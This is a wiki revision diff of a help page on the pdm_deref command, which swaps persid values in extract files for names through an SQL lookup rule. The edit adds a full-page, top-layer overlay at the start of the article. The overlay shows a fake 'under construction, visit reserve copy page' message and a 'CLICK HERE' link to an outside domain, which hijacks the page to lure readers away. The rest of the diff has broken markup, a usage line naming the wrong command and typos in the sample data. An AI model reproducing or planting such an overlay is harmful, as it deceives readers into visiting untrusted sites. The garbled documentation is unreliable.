Difference between revisions of "Pdm deref"
(→Overview) |
Agegeleruvy (Talk | contribs) |
||
| Line 1: | Line 1: | ||
| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://ihyveqo.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]= | ||
| + | ---- | ||
| + | =[http://ihyveqo.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
__NOTOC__ | __NOTOC__ | ||
[[Category:Commands]] | [[Category:Commands]] | ||
| Line 8: | Line 16: | ||
For example, lets say you performed the following extract: | For example, lets say you performed the following extract: | ||
| − | '''pdm_extract -f | + | '''pdm_extract -f "SELECT id,category FROM Call_Req" > output.txt.''' |
The resulting extract would have the category entries displayed in their persid format such as pcat:400001. If you wanted to replace the category persid with the sym, the pdm_deref can perform that function. | The resulting extract would have the category entries displayed in their persid format such as pcat:400001. If you wanted to replace the category persid with the sym, the pdm_deref can perform that function. | ||
== Usage == | == Usage == | ||
| − | pdm_extract [-s] specfile [-c|-e|-r] [-d] [-h] [-n] [-p] [-u] [-v 1|2] | + | pdm_extract [-s] specfile [-c|-e|-r] [-d] [-h] [-n] [-p] [-u] [-v 1|2] <filename |
| − | + | <br> | |
{| | {| | ||
|- | |- | ||
| Line 52: | Line 60: | ||
| | | | ||
|- | |- | ||
| − | | -v | + | | -v <nowiki>[1|2]</nowiki> |
| verbose. 1 is brief and 2 prints to a log file. | | verbose. 1 is brief and 2 prints to a log file. | ||
| | | | ||
| Line 65: | Line 73: | ||
== Specfile Example== | == Specfile Example== | ||
A [[pdm_extract]] in the following format: | A [[pdm_extract]] in the following format: | ||
| − | + | <source lang=text>TABLE Call_Req | |
id category | id category | ||
| − | { | + | { "499998" ,"pcat:400001" } |
| − | { | + | { "499999" ,"pcat:400001" }</source>...will be change to this format: |
| − | + | <source lang=text>TABLE Call_Req | |
id category.sym | id category.sym | ||
| − | { | + | { "499998" ,"Sofware.Adobe Reader" } |
| − | { | + | { "499999" ,"Softtware.Adobe Writer" }</source>...by running a specfile containing the following SQL Statement: |
| − | + | <source lang=sql>Deref | |
{ | { | ||
input = category | input = category | ||
output = category.sym | output = category.sym | ||
| − | rule = | + | rule = "SELECT sym FROM Prob_Category WHERE persid=?" |
| − | } | + | }</source> |
== Examples == | == Examples == | ||
* Deref of a basic text file | * Deref of a basic text file | ||
| − | pdm_deref -s specfile.txt | + | pdm_deref -s specfile.txt < input.txt > output.txt |
Revision as of 03:16, 24 November 2010
To discuss or ask questions about this article, select the discussion tab above.
Overview
Use this command to replace data with data found in another table.
For example, lets say you performed the following extract: pdm_extract -f "SELECT id,category FROM Call_Req" > output.txt. The resulting extract would have the category entries displayed in their persid format such as pcat:400001. If you wanted to replace the category persid with the sym, the pdm_deref can perform that function.
Usage
pdm_extract [-s] specfile [-c|-e|-r] [-d] [-h] [-n] [-p] [-u] [-v 1|2] <filename <br>
| Command | Description | Remarks |
|---|---|---|
| -s specfile | file containing SQL statement | |
| -c | csv output | |
| -e | csv output with double double quotes | |
| -r | informal report output | |
| -d | diagnostics | |
| -h | Help | |
| -p | preserve whitespace | |
| -u | no headers | |
| 2]</nowiki> | verbose. 1 is brief and 2 prints to a log file. | |
| filename | file to be processed |
Specfile Example
A pdm_extract in the following format: <source lang=text>TABLE Call_Req id category { "499998" ,"pcat:400001" } { "499999" ,"pcat:400001" }</source>...will be change to this format: <source lang=text>TABLE Call_Req id category.sym { "499998" ,"Sofware.Adobe Reader" }
{ "499999" ,"Softtware.Adobe Writer" }</source>...by running a specfile containing the following SQL Statement:
<source lang=sql>Deref { input = category output = category.sym rule = "SELECT sym FROM Prob_Category WHERE persid=?" }</source>
Examples
- Deref of a basic text file
pdm_deref -s specfile.txt < input.txt > output.txt